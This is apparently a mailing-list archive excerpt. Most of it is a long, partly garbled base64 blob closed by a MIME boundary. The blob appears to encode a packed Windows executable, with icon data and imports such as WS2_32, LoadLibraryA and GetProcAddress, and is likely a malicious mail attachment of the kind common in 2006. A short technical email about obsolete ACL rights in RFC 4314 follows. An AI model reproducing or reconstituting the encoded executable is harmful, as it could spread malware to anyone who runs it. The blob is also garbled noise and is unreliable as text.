1Xjh0vP///+9ghgaJ NONTc48ta6+kBzFxA4/6S6hp22/VQJA
/////+LgUEkPwz8StnSze/z6k5Zr0JLHqkZNUFdESE9VRUr/////UY91nL5WR0tOVEFAQ0JCRUNA
RFAvxJpEREdGNm5AJDX/////H5q3t6AILzUsNQZDAi4vSSJPJb6s/qASNSAMFMwtZc3/v/3/wK19
RHYSFxY rYRhygfcZscz8+bx7cpqy6ofEdLf///+/SEBHdrg+GjlyD8FkQcqHEmqGEczFfHl
ulv4R
t//W/8oEPb4xRb5UxVFGeoLIBC1Oz/+BuXoG////mBuavL89lMzEeXkRKdNQY2m60GzZUG5lOP9/
+//LzUQdtp6ev8G4HTW6bjVOh8VEYx3J3UR4Rpr/////Pzo2ynxhaCskKzlCvpbCgUIjJUYhrPI+
ygwlTu6JEAz/////KRlQYBOML/uYzHxMNcKFWWO3qPv+mytDEitCKf+BWl0S/7f/ub7s+pz+uClO
jso8PcgcJf9BS6pQ/9/g/xwxrqQ+uj9lyhSlMcKjPszNTHm6y9VU4P///7G2tze6cVC+BDFDJXhE
PZ3MYRIQESN6Kvceuv/// 9/bKRhZElEXUJ6ZQiA2WT7nTsGPYUSWXKDIHkUoef///2/4gVMtJ/E2
KXQ3DEe+8p5axKl47MwE+UlZhVVW6f+3+K1crSsdF1tlST5OvCYpmo2waRcjv/3/f3sNRNVO3K3s
4Fo6Aa1RPagHGBLyQu1B7FVJ/////+U9Vks+RJ/n5T8QnEEtemCYn/aHSjE3RMpHpy2CGmrZX/j/
/1G4ZVpOzZYV93yYc V3WQjwtXuXMl7aiTXq3/
////+7luBjinUz4HenVQdfKdHmTscOwl2t5ohHH
LnkglE170P///zxRK1AYdIMvyrwEFYYEUQXCRhGYK0DBLIzs////v01MW33AJ5EBJZg/8nohxIE1
VCu+vRUljCU9LBkpTL/B//+X2S0eor6Evx8awoQ1iIKqzKpLyq3CrW3
//1v7Bq03aAeP 0Vl1UdPW
Wr4gcUqRepLIFLkM/v+X/oZAFsq+roeoc4GpUHEWTRZJFBjCDLW+wiSO3+A3zQr2vfp+rMUEDkVh
 zv9v/P/MvSVJykWAegNNNQ1yk6g/UMo0uXhF1zVEA/////+XP6ovDj2yQ
nRgtcSTPUxWasSsgr41
sEV6NZBFN2AEWv/////XixhMMdJsCj9JTU5HEpf/+BfxKxhDekY92Ed/uS71tv3///+BP VcsJo65
yEXYAsK 6USzlHBr0Kq3RtUGTqH6Zjjz/v/0vMxDCwUJOzMJP6WYA9pwsujwqygZ
7DA9931j4/4kr
ejnpEXJybtbQgQwYAcxCtopV/////zd4FtVfTXhxP
1FRLqwumsF2Tai2cHqXPEZXz33ZAvL0//+/
8LM+7TyGnz3PvkfbMvaW
PEV3MnK3GCoUaVsr/9/+/0n/VFddd7eVsgK1zFVxLSFWXDxOylDCgEXI
FcT/rf//mXysq3M0fi1AlV pSTBhIKydvWajfScl2Al3o////wodGerI9Z+Bs+fUxmrlghW2CsC4n
9zhTfBgY+AX+Xw+xxH4DtGUSyhxJF/XKcRetz9/4/xdFjL4yTUlTWcq5ysS+ParnXzp2yg//////
ywW4RWIywEpaGtHsQEUy4ECok+y6nHdO91tshknF+0T/////CUdNJy/e6jV9SMTzqZ1/Ie/ik52F
A2FOw863gh4mVhH/////JlLLGCCMqjzYKp45IBsYeFfJvT8VquxHoL4+GAjKi4D/////oELMfVF6
fzxSyj9FAY6xXz8geHhJyD3EnXmnDg+Dcsb/////eZ0ydL1GoK/yfktHPe+YqlESRkODqlKeWcUe
SUSrahc3/v+l4R3
EtyoSqp41ZGdGocoHoC yZs3X/Rv//Hgl5Fy1PKR/WX3VxIz9hqbt2cpxyS2LR
/wv//1BN9JosE834xgFNRzRFlZkZ7CyoyokwQFQv/////zT37Fye2XE1TwNLwrsCq18fRqhJrl6B
Aaq
5/3
UWx0gC/sb/S40xTmpJWK5L0VMfoOu8yDyxKUvSv/03hTSt1t1H8ux+VhdPBK/D2Qy0v8H/
0lH1YPMsT
r3E1eLKe2It+DJA//+3C84WRuW4uE2Zmj1ZT8oIT5hFwt28OVz/////TqpTbjJ8Uv+/
MWxhKSVQxr0ss1hYxRq9jY00vRyDpw//L/X/M1BSUHe4kfHIgmpjKtkfHvvwlMPHs0h58L/A/9k1
Cf+VdAQyMbYw iX2RFhc8+cyt////v4Tea1XAeS4/Wpl Kes9mKyV+trAFHjJL5Eqs4HHVnfT///8I
Q0WigvfoyhpjJWVnFEo9Zaex8J9xmc9LKdl7///Lv0FhvnaevvbORnKs1sKKvnhpGD9+epw9YTr/
/4X/DfqFuuyx/w2Z/1J5//aBL5301izYLLgbPVX/S/z/cGC+dbE3ILpg5DRDyp9Llz2AElztgDcy
/7/B/wQY5WeZFomvjNyRTrSxerTCqUIQKV15wHip9P+/4KP3bP2d/OnC
vwF6R0k/Qv///5dNd/mc
48VlvgVCwrjhT0st/p1VETwRH3qxPy//G/z/sZIlXj92+j9kGEvSXVTqVq67Pgo8QAcEv9H//3qv
PZoC7UYphUhsHJ+dHl/DfLcwUIGVQP+F//9NfH4Nhs4+USnRHkCifS+9KdrEnCGrbq/CeP/W//9t
NUvbzV2T7kcrrxhJjUVNiUlAdEW9JtGn1vr//1u3P2C6VBBzPttRvcHlRLwvB1/bbAQBee3f+Leu
l5Zw0YBMKW7Jk8IvN1cizv//L/TOKVN
dN0n0SXFjutjF7HH3aVRRwIOxY1P/////XCz3Ex
cE3pUX
c4Sp2SjCkAFAGK9mfPscgb8VnhKHBIX/////Qhxv1oqELocnhjWJNoggiqQz+FaLM4okjR2MDI8s
lm3/////1iiOIpGQbpMydorvKNuSlZSXZpYWmRzynXeYL16bJZrAC///nQ6cjDOaNGqfXp4CAqE0
oEkcljXd//+/XqVqpH6 nF06mqvvvKqlWqG6
rBqp+rV6aRKz///8LJROusS/JHLD3tdssknS0b7e2
N9+5uNnn9yr/ 0l/ou1K6NcoFlnu/bXoEgf5HTxG/S////65uS1xEkFnBOcKDAE8yWFVANG6nLEQ6
iAUR2/+/wU9j7djsgDTmgVlBSUkxooqB4Cckhbr/9rQpAeepj5aGEyQmKDQKMm63///tM4GwBy+S
SrOyN5EoIiQMJtvnETMubb2h/7/9/zZ3N368MjsN+Aypxs CIsU8JbIFtIVcbkcapVRL//3/rXeSI
fqZxGYFsLLS8NEgBH8CFYIIiRva/b jH/////uiufHJ0AyEeOAR6qO5gBzaDieFYDyABRgYY3hjxW
aEX+Rv//TF9KTQ3KXE ULXrzewidJQU/5oV45uob/v/G3KjGSymztqlk3VdoMKw5KKbtaPGN3/xJ/
4x6hqvZqK/JDowd0lH2X9FqFFtv/Bv8RSXLtjzT+
KXAiXDE+BOmIrOwAzFv8//ZuTY4R4nddU0MO
974UFMgvWcjlYf9/iYVgDMPyJ54rsD9ZM1z5/vKotyH/////7ONazA ZOJll6vUePXDpJM0uVBshK
Bnf 68Zr3P8ggXST//y/9UXKtBhRJSQz2YRRdZV2GTRGCca3Q7KBkUef9////5T5IFpuBxP GxqsQu
FC+Zl5gZ+mk0VuWD4VbBw9ubf4H/L0tRtkYayrp1AiU+kJ8REYZTCwJJ/4UL/RFsrfMuwdRFNDgU
bXytPaBxRrzQ//9EEilRWL /c7GCcXnn90d9x8/Rl+0DxLX2DC4tLgBVUu1uDB4j///8LNhLLmcu6
PbC3/gCCyrvKkIChUSdIgKhD4MLb////4IRN/7LrHhqAHOT0nb4YpcI/TUE0s4YHTQOUmhJ
f+v9T
7HchpyFTggo+Qm97rI6CEgs4FCr0/6sPMYT3vFzRBnq4JGf/F/pb+B+OSUIHguz RFWA3OjHI4jRE
//
///5V5B0lii9SbqWqJCoLua+72UwbzyB/0Dqp4/uYGh063/////3qOP0cKnoCiQhKakdkqvgOO
yBdFNfPKigF0ATKggfQY39rq/4Mm5IkqlYQsUGE/PMoMwFr7Ff////96SgE1eoM9CNkR0TmJvh/o
+VOcNtoRVRiEesqGtpGHcv//N/jm/+y1eMc8Z1N2UWY9yl4seeJwRyh9gCb8W3yrKgxPF4tH71IY
RvLYFxT///8vlAa2ehb nc0YJFgh6gDVQcuL0LEpKiwKDNngtvIn/v/EXHyuDH0XM8+rqvk8eC2EK
rAkGx/9/q3+64fqRQ3m/ufhm6tf8xypQOzl1OxA5of///61pEPVVRhgLtQis6y2xNGC4qcCk56Je
iBwH//+/VVw1Q7aUBPW49izIyN6G/g10NJDCZ0Hj32ijK6RZIhy01UCqR5CK/7/9fzZdDDSvEWpc
cLcKPa2EV7aT cIe BRQg0tTua/y/Q4q9brXtpHMwvRV+EYaj0C0L 6b///zXoN
upivNRx6vN9ZI5Jo
H0nH+jpZNK43Vn+jErcLH/rvhGwgWa18vhf6t/pqGSzu0J8eWV0OofR+f0UP/////zSabTvDaRJK
w4VHmhJ4KKLzIXoBck0quTQDRiB6MeY0/8b//994X1+sw1esEBbo2Uo8meX327naTWeL5fSb//+/
9JyV28oNVMgNoM+LZQ7lmb
1e9jv30Jm5JVmC/v+l/5
tfPZFnXJ3wHpDYFojQ5ydlImWdv5heCF/U
4P/fBZE1DBbOvUO96ndyiB7IvWb63+Avrsngdht1X/krzKEAf2Uaki////8XBD2mj17UnVEhc3Od
SQKxl3oCSmRV5sI8RBg+2/9C/0as87UL8sXDKXhNEloRyT+WdtDN/////y6FI8VGcC2
Ap0MXwMMO
fMz9R/5XH6RCYywkypI ybBQxv8WN/tGhmng0CCA1SSptuB7DWf+g1Nvb
Hbe9iT9PRNJT9dsb/f/f
prdCW1hJgx2qP+KaFKMVkdwViRVHQv9/62zIARes24pJek5bYpYvzJ9Bif/03+r/8tAhPd4pJiEJ
Qwg2TT8NIeQCgv///3cucXoMUZ4pyvGh/2cGSfpUPalgTV0Z3ELTFPUc/8b/W9LA6GH7jjmI iHL3
NUdCF8FBJq1r6f8X/j
i6vhw7bVRI011dGDkXFyceVR3DGnnf+v9/Q7kWB
3qHnx85aoLXRT9EM7U1
Bfw+fgyW/y/0/2RIF9wX3ZUS9pSu6upR3Dy9N1tUVBkXRv////+TNlRwzdbhDe+q6hImGDH9I8y2
VYgARRd3/DVIERBuVdX/G/xEWWyDWaep2zGwJSfNJoXRFuE3KPC/v+3RvPxRzRfpg8aty0C/8P//
xZ2fEYsAqYTJQDOrRDJaeSmGL0tGW mqLyRT/t///4hRLWQ7MjyKvcYcTgVjQZR+8BM0xTeYLJy2u
iF/g//+fV1IONItPQqkk3TsH8BgplMwRFGNK8fT+L/T/
QRPs9GNN+YQ48qt223KBeUI1YAHBfUK/
/f+3Q7hXQoLLCb4x6N477U33RoeKIUCj6Fdf4Nv/HE2p0AsSEyL3FI5E4r1hOKyAva7f6C/0gFU/
C1m5CvS+U8N7RKl9ry/1/1v/cz1Lvpz+eqOAcapby19bUsH/v9T/oOket5jYWohaNku2vrhhWABC
i3XJTwfJ//+/xKFiHYVOvrtNNPi9F9DZsS0lGYLyEcL+Bf//L/WaVUFCekBiBCaGAVLNHj866oyu
R0m/nfv1/wv/2U03FXNRySxMqin8FurkQUtNYJ97S////y+32aoSsuT j1w+sGsRNBNhTGDwFqYz8
xbhP2aRH/1Lf+kQ5NlOa+fStZYhBtdJC5E5g1db/rf53bbCJ2TlDwFSqT9HKpahvoU73/gsX+JlL
yz
3x1Ca+Z 01Mycw+urf9//+lUkM1aAo1VkNKtpdKzHK2QoeqaWS5Pir/L/RLiJ5yn6pcQ7aSYp68
g/qPvGK/ wv//20qeSlZOn/Ritkqfz575EMsq18zZr0J8//+t/4CcL/6xGGoMaStFkq/KSZKhRa1C
nMHo+oF/g///SrHzQifDcx9A423E6G5MentiwNcZAWK1/f///09HZJ8j6ElZmQrKlxoZooOaV7x5
xgs0tx+Igzs0mf///y90d gFReS1sbvDvFvtRyoBCbZjkLMBuQ36Ao0Kt4////8hTMg6emaMDoSsB
Bh76XEAPVfsRoeRq6J4zDJL//9+qU1VkVxBxs7TLVVDJVUkAPMkHLtMzs/+NfuvMCLyCa4S3WhdD
gjJhx0kiA1r+/1/qrafoQIBbwlK54fGQxPp4HDCi3p43ntf8v9QNng9qv1ULzDUQQpbLRdyR+L/F
G51LyUWOijO0RhyeCYB1l////99BTlH4A57EbPf3eSdHzuteUfwwaqbbvRj6+VL5w f+/1P/8jJEu
CTNCKzkY1RA0AvGXRs65EUpSbiB86///GWPBahXOVUfI9QEvU8
0qFlQHGhKVekSj+tb/b/FcABLo
r0RJRna0ovg2oHSG4lYb/2+UK6fgQVwogbzBtha/ArlE/i/9/4LfZ04n4ENagMHEj82JPta5GNmh
coCCHX//9v+tMsCgxOw03qvAuERLVyREV7ksPE3p/////wNWRr/oUWRCz p+fR7G+fEVR7TUR
BzoZ
ND2CEBf/4SMX/43e+rc0SksYGesds57tWxEJ9h2ee9/iF/hEIxmqTgpfEL55ZumRtplaN/pb/4FC
Hxj5Ce5KT7V8x9ErfZvGLvr///+SlsxAXFFQEW5FEXW2z68sWZIfRU7E4+pqcRq6D/8X/jc5emBT
zqzGPFHfpFcRbVc0OMpRFsH0t/jt1hxrw3QRBE7RWJ 4hJCffp/9 f4m8sJ2GnSzYZGRvAW+LtEVpA
Wf2H7
Vv8//9QiRRMZZ848VxUN3IW+StpyzwoGr8bg1/4BRb6jXmJW3pjQyupG4AGp////5dVYWhf
kCmM5VC0GXuQgw7/I9RRYh+rG8RJMpD9X/r/lkCQq40sMvURYKsEvXa6rpyvTv6OYUVQ/6 3+S2Vw
aoDkfQYnwFGe7OI
3PaUJ2Pv/X/hqB8zDBvIx+p6z+0cSCWt9R0UBnkKKyT6N/v9/LLxJc4gntpia
C/UaK2y0k4McA07edP9f4P9IO4Cq/9ePR
1yE1WwqNfcN1nqFYcqy/CX/////29jl6ZeQd4k5UZKp
S reasJzuzNRX5XFcY08UqUvK3EH//8L/bGBc65FNbvEEBg5dqf9PASc0uuMKqzOxVC3/X1jos7cE
6v0YNXbMzATUwveK6kSmf4m/9ffIIgnGRZsTpv8xEEGAqykMOf////80q
NEna6GdSuskprHuTWHV
fm8OXaz3tNSkulFhEB3LlP//b/+4Wgo3wA6nNBMFqEVxVtTumrLRDa48sXO2PK2txP9f4oaHwuEa
4FCavLfHS
PqgBgRoRv//37oFrZ6oqfn08CYeSEOtfXCqfJG3J+esrapf4v+lMbFCcw4puF+q7jjZ
zY01HWouUl/g/zc8c4GkyQSlwzH/1Vo6nL/L/7/A/1A9bJedl1lNIZxHXqtX7fggRBlhSRylof//
/1gvbnmqZzwxGGM0pO4VN1jgVDApjUFBa2Ev/7/Uf0i/2qdpzVFApSAlBygtJFhBvx8SJDX///9G
Ri4oLvK37fxOFjMoRlsCM2RKLqQe9wBmf6m/1AYVuCoCLjRMLc+ct4D3M1cE8P//L1YkLDE RaClM
CfB+mi9wMQd3JEjSL/Uv7S4iY7+nn5rfSSQyMlVgl7j9/zIkCSAvJQ5/+oQ+RSQvIiD+Lr8JgP9W
QK0lNC05DyAslv+/wH8lJTOCj0OnBIkA6i2XJ5wVKUclPaM/1v///xuIvyyyMTgNLl0NKCMzIDM4
c8RunCHYALggTi7 0//8zE
kkvTMH2JhMOIyswVQQ5w5FfvAUk60v8BRoueShXC9hcAhcgLcTf4P9/
Sob3JG0ATg4xWwokOE/mm B2uTnXnNfi3f4lRSbE2MjEzMSe6PW2K83SxT//ud9/QUVJ18wt4RVZI
QIMJU0xDMkm3v0j/GfXSODguDUBDIk+z5RhlQ1H/L/0Gx0EngI+PzVpFckYZdhq3EU17pf7//2lR
RhHPZFpHQi1uGFZh7VdBJf1f8U5KHbxwq//FOQQnY9G/NyCqRWJ6IW8l/f8vLQMg9qUqTQoBV4FB
wSC6Rc1xQo/MiQN5RhRhvi GoY/+3bRFtzAWBvr4Wwoy+qlHRAMt74/+NRzJGBkCaNEbKX8Kvv
U8z
rPlBK90O 2BFQgQwyrioOpS7BBzKlcIhzM0zhHd i3ukk9wo41NciEL4jCQvaEDDRhABxMC/y3f8KA
Q8C8QbKVwpBAzFVuwrz5TkrxRu7LQwOUpLaoIov+0v8N9EPCg0XIRsKGRcIINrBAjqgNl9i67xYf
yLb4NanLKW3NQDbBwm/1tsF+QFbKRsseRVSpNvj9vw6BUceFaLnBqqlAsTtEyGmYt98a5f9MI0iB
NQTKJ8zFdd92hXEY67IRH0m+1yUL1Mv//9ZOSR2dyLg4Rk72RgYRBvgWCbPvFCk3278zN0bIQsKC
RaqZEC0gqAJEBeaq+b
4AuZBbo
wM TJTHYIWmGpDXnPddcYJvwxTFX/Ysfgww2SJupB7dJqvQjAHVB
CgQTD5yPUf8X9gUNDUEABRcAEQgDQRQSuckHaxoKFhJzHjFtg9VqTe5OAA0GXK8taP CHIoGsYCy2
1Q9IKBAMQed qtbbAAs6/Ow2oSvgvMCgvNScA8xRFWEVEgYDAGo0WCAjkAQAwCgAkUQW/aSYgqBwB
RmluZENEAaDybG9zZRtEzN4V1FNpem UX73/7TEwRQ
Q5NYXBWaWV3T2YPbm9hbw5Vbm0QLgNycyJu
d8MvS0VudhBvbnario5dViJhYhg5iLgdRAx2ZdrukYqYDn1UaW1GKuKstVcaC1FDotu697ELe3Be
Zy1Mw25fIH5MaWJyTnlBIfZMULRQYyhLxkQ5tv1iYWxBbAZjWExhtz3sVNMqT XUDeCgbm7VbbBdy
Yw9+sHQQB/vnWlYdRkNvcH
nFRGXahzdrBoMXJUhh5wsg3cKdRVNj2XY7+WxlblTfcFAvaA1hCwrD
VytYRB2zt0VE8W/KkbZQxMlweU2RbFt2Z4IiTRNFeGlCQfFi3WhxZB/xvVnAJv8vmY33hg27BWVw
oTZCN+LCw7AzblqcZUl7EXGiy/sXbCD8XnIYVG+TFYaZorhMqQ68JXsTYhENCGNrQ4VvT0RyAeNk
ZUNop9xdRGw0TW9CeXQiEhQnIpyeua+1LQpjmDYqUqCyvSfhVEdQb2koGUh7wWbtcEYmXL0TGYRD
mDDoOm5FTLisMGkJaZwWpCImBDpNGDPXOEN1GH0ZOiQ5YW 9rpURlLJWEIMWVaLXHHuObwGcbS2V5
DE9w69yjazELRWoOgFZbvQAadnVlD4vM3KWEESl1bTAMT7PNJrc/ZML4baCiYW6Hc2UwijcXa4xy
EPYHaXNkvfZcCXoZ8s4QFKJ4rltQCCI5N6ErMyphKiECSg9ms1TNI
AGhVVwPFrDfTkJ1ZmZBDwtM
b3f2G
bYjd3ZJcpQjdwqFm3Fa9MwMTYLCAKhtWbZN17fYYkD/BAITC2VZlmU0Fx
IQA6tlWZYPCRRz
Ob//hLw8UEVMAQPgAA8BCwEHrnvSbBNyKoAy
BBADgmxnsZA1CwIzBJlb0s0HDNAeNHvZG9gQBwYA
wHkIQIBbZHgCGAVGuMJ2K2R4AR4uL9iToJikcJDrNn+7sAQjIAtgLmR
hdGGYI+5CusH7Iid2QL3N
YBuFLuUJA MPA
Bny/KXs0J0AbsHsNlAAASkE8CQAAAP8AAAAAAGC+AJBQAI2+AID//1eDzf/rEJCQ
kJCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+Qx
yYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78
EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKD
wgSJB4PHBIPpBHfxAc/pTP///16J97kBAQAAigdHLOg8AXf3gD8BdfKLB4pfBGbB6AjBwBCGx Cn4
gOvoAfCJB4PHBYnY4tmNvgDAAACLBwnAdEWLXwSNhDAU5QAAAfNQg8cI/5aM5QAAlYoHRwjAdNyJ
+XkHD7
cHR1BHuVdI8q5V/5aQ5QAACcB0B4kDg8ME69j/lpTlAABh6SNE//8AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAA
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAACQAACAAAAAAAAAAAAAAAAAAAACAAEA
AABAAACAAgAAAGgAAIAAAAAAAAAAAAAAAAAAAAEACQQAAFgAAADY8AAA6AIAAAAAAAAAAAAAAAAA
A
AAAAAAAAAAAAAABAAkEAACAAAAAxPMAACgBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAACA
qAAAgAAAAAAAAAAAAAAAAAAAAQAJBAAAwAAAAPD0AAAiAAAAAAAAAAAAAAABADAA4MAAACgAAAAg
AAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAACAAACAAAAAgIAAgAAAAIAA
gACAgAAAwMDAAICAgAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAA AAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC IiIiIiIiI
iIiIi Ii IgAAAj//// ////////////4AAAIf///////////////eAAACPf/////////////9/gAAA
j/f////////////3/4AAAI//f///////////f/+AAACP//f/////////9///gAAAj///f///////
/3///4AAAI////f///////f///+AAACP//93d3d3d3d3f///gAAAj//3f39/f39/f3f //4AAAI//
d/f39/f39/f3f/+AAACP939/f39/f39/f3f/gAAAh3f39/f39/f39/f3d4AAAI9/f39/f39/f39/
f3+AAACP////////////////AAAACP//////////////8A AAAAC P/////////////wAAAAAACP//
//////////AAAAAAAACP//////////8AAAAAAAAACP/////////wAAAAAAAAAACP////////AAAA
AAAAAAAACP//////8AAAAAAAAAAAAACP/////wAAAAAAAAAAAAAACIiIiIgAAAAA
AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAD////////////////AAAAD
wAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8A
AAAPAAAADwAAAA8AAAAPA
AAADwAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD//w
AB//+AA///wAf//+AP/////////////////8jD
AAAoAAAAEAAAACAAAAABAAQAAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICA
AIAAAACA
AIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AA AAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAACP//////8AAIj/////+AAAj4////+PAACP+P//+P8AAI+PiIiPjwAA
iPf39/f4AACPf39/f38AAAj39/f38AAA AI9/f38AAAAACPf38AAAAAAAiIiAAAAAAA
AAAAAAAAAA
AAAAAAAA //8AAP//AADAAQAAwAEAAM ABAADAAQAAwAEAAMABAADAAQAAwAEAAOADAADwBwAA+A8A
APwfA
AD//wAA//8AAPDEAAAAAAEAAgAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAAAAAAAAA
AAAAAAAAAAC89QAAjPUAAAAAAAAAAAAAAAAAAMn1AACc9QAAAAAAAAAAAAAAAAAA1vUAAKT1AAAA
AAAAAAAAAAAAAADh9QAArPUAAAAAAAAAAAAAAAAAAOz1AAC09QAAAAAAAAAAAAAAAAAAAAAAAAAA
AAD29QAABPYAABT2AAAAAAAAIvYAAAAAAAAw9gAAAAAAADj2AAAAAAAAOQAAgAAAAABLRVJORUwz
Mi5ETEwAQURWQ VBJMzIuZGxsAE1TVkNSVC 5kbGwAVVNFUjMyLmRsbABXUzJfMzIuZGxsAABMb2Fk
TGli cmFyeUEAAEdldFByb2NBZGRyZXNzAABFeG
l0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAAbWVt
c2V0AAB3c3ByaW50ZkEA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAA AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAA1jONZ/3sFqspi5SPKcER5tYqweEpetr0KTWCaynq4F8dPKdKncNYtO0GjeA24zyG8n/ZJ/JJ
fDprgum97Q1OLfbf
PYzdALZ/WQmRwhkQg5jdAIcT3
QCB+wMfOhQGxHDmNSGY9sUQcFTa+/ocxRJj
5doUJkoe/gF7xWpRydodZiqq8+PRRRFs7VrIGJwEOa4YEcrYkkXPHVVFPqlagSxcVdBNr+zvq0MY
f+0xkj+g2Yp/U14BP6VDthEWoW 0/l86BaJx8/NRpJI6H0Crfh1TIV4f4gDuHRh7ZmKZV3
END602g
neCFT0QGXE9V0/fdL9EeT3vWTotCYNca9Yofi0JRUpXDrgZ6GlgXvhw54yuxV4xT8GXWev8AYr4c
M1E7fBzu FZSB4NRzt
J0pv2OkPksCGfpT2z3lrqjc+ls1GeUzKK0zSbkD3KqG1sN4UVHck3Lew3pC
RMMmyQkYlhWLwwqCGs1NbJk95Yj7crCWcebiLkMMFmzkKhvupXB7tWw9OXgXNeLLtdok3iY
ePWoo
2ir6J9olkVTao94b2ogrEcXZMfqoDpLcR6Kl72iIcdVHSUNjWDdoH1iKvC5HyLf7T
/ygmqSsNTZU
n1RKS8jPQ9qR7EhU2GBUVB+6hY9zt3dU2hjIZAZKoovJ/NCLtNROT9nko6VdRZ6L4Htrl
BUUkYtF
WGLcL3GKLBybU/fw+51n9ppQM2wdTTPqiWd3UcvxHXR8/LFCKURBWWbjQXniH5c6aazGGjzZQdVH
817DFEpBP5At6c999B8O6IM GichfxstHAQYJczfDAA8JBgCXHB9x8
rJpDPzihqDCmYbLBVGZF6hA
hk+Sd0LTVvfSzmO5mXFCoDjRerQTDtsA1wsvJhMO9ZrIJKtSyDGzmteURSqWqF6rEtqE39JF0ytv
HG1E/RyKXuLjfsH9AEm 4/UEix/2SObKY/jrcdxZxoed7c5R3OXY0d9PADneXoIhoE8SJoLl1Kb/Q
6itQSQD97KJj5lB0
1MdQriG0T6ZbgMJixOsQBlwebi3JCYFFnz+eFT3kgVd9uEXyazie0y8HEPM3
0
EjVeQ0z8H/Jw8mNYsNvC8DcVEJt3B0kKcPLhB0YPYHZ3Gr53fmPKl/SUIRlFsjg1NJQqlzSUKTL
35WATRYzn2SEPcSudPKNGptzCfabFrOjXy0ALJs64NYAWLAsm4ddtV8tK0lB BHJeJSv9urFyxiWx
cGHoatvJ3K7
MQNlq28Hhc13h4Plu2qzSsVmOFvTISRYvz6nSsUUdFhs
OrQmRz1EW7yo+VSVmBG3z
XwW6gVgGl4VFnKUcn NClPnYPpR6fvLoLnMdpWYgVhhafi4YTXTRPiqQSqOaey4axIcqZanOJh gQq
0DldphVeoOF+1sdI75ck7FPWx0DoyWxMZ8modIPWk5MhQhbavK37hp+ltwT9rf6RLq265Xxkbo9W
snKe1a3+H4hwNCTsn9zmjZ94aRSADgzYgAem8YB3cLmfcpG5gKsyVUMz eq2zAAkjrA/U9azeJh6s
cmlNvIlO7rwiDju8UTNXiOR72P0z1pR33vxwd32zkHc9p3CIH0A4iHs6r4gfVz49I4rlG1vfD80a
cCaWngeOPYoMX8IGaO
09FyaWPUsLIg==

------=_NextPart_000_0014_6968241E.532E2178--

Date: Thu, 3 Aug 2006 16:41:35 -0700
From: Philip Guenther <[email-masked]>
To: Arnt Gulbrandsen <[email-masked]>
cc: [email-masked]
Subject: Re: a defect in RIGHTS (RFC 4314)
Sender: [email-masked]

On Thu, 3 Aug 2006, Arnt Gulbrandsen wrote:
> Philip Guenther writes:
>> Hmm, on second thought, how about this change instead: if the client sends 
>> a rights list that contains *ANY* of the new rights (kxte) then the server 
>> MUST ignore both the 'c' and 'd' obsolete rights, if present.
>
> That breaks the case where an old client issues GETACL, sees no 'd', appends 
> one and issues SETACL, doesn't it?

Yes.  Do clients add and remove rights using GETACL+SETACL instead of just 
using the +/- syntax?  If so, then my original proposal would have fewer 
bad side-effects.

Philip Guenther

Date: Thu, 03 Aug 2006 11:35:51 -0400
From: Ken Murchison <[email-masked]>
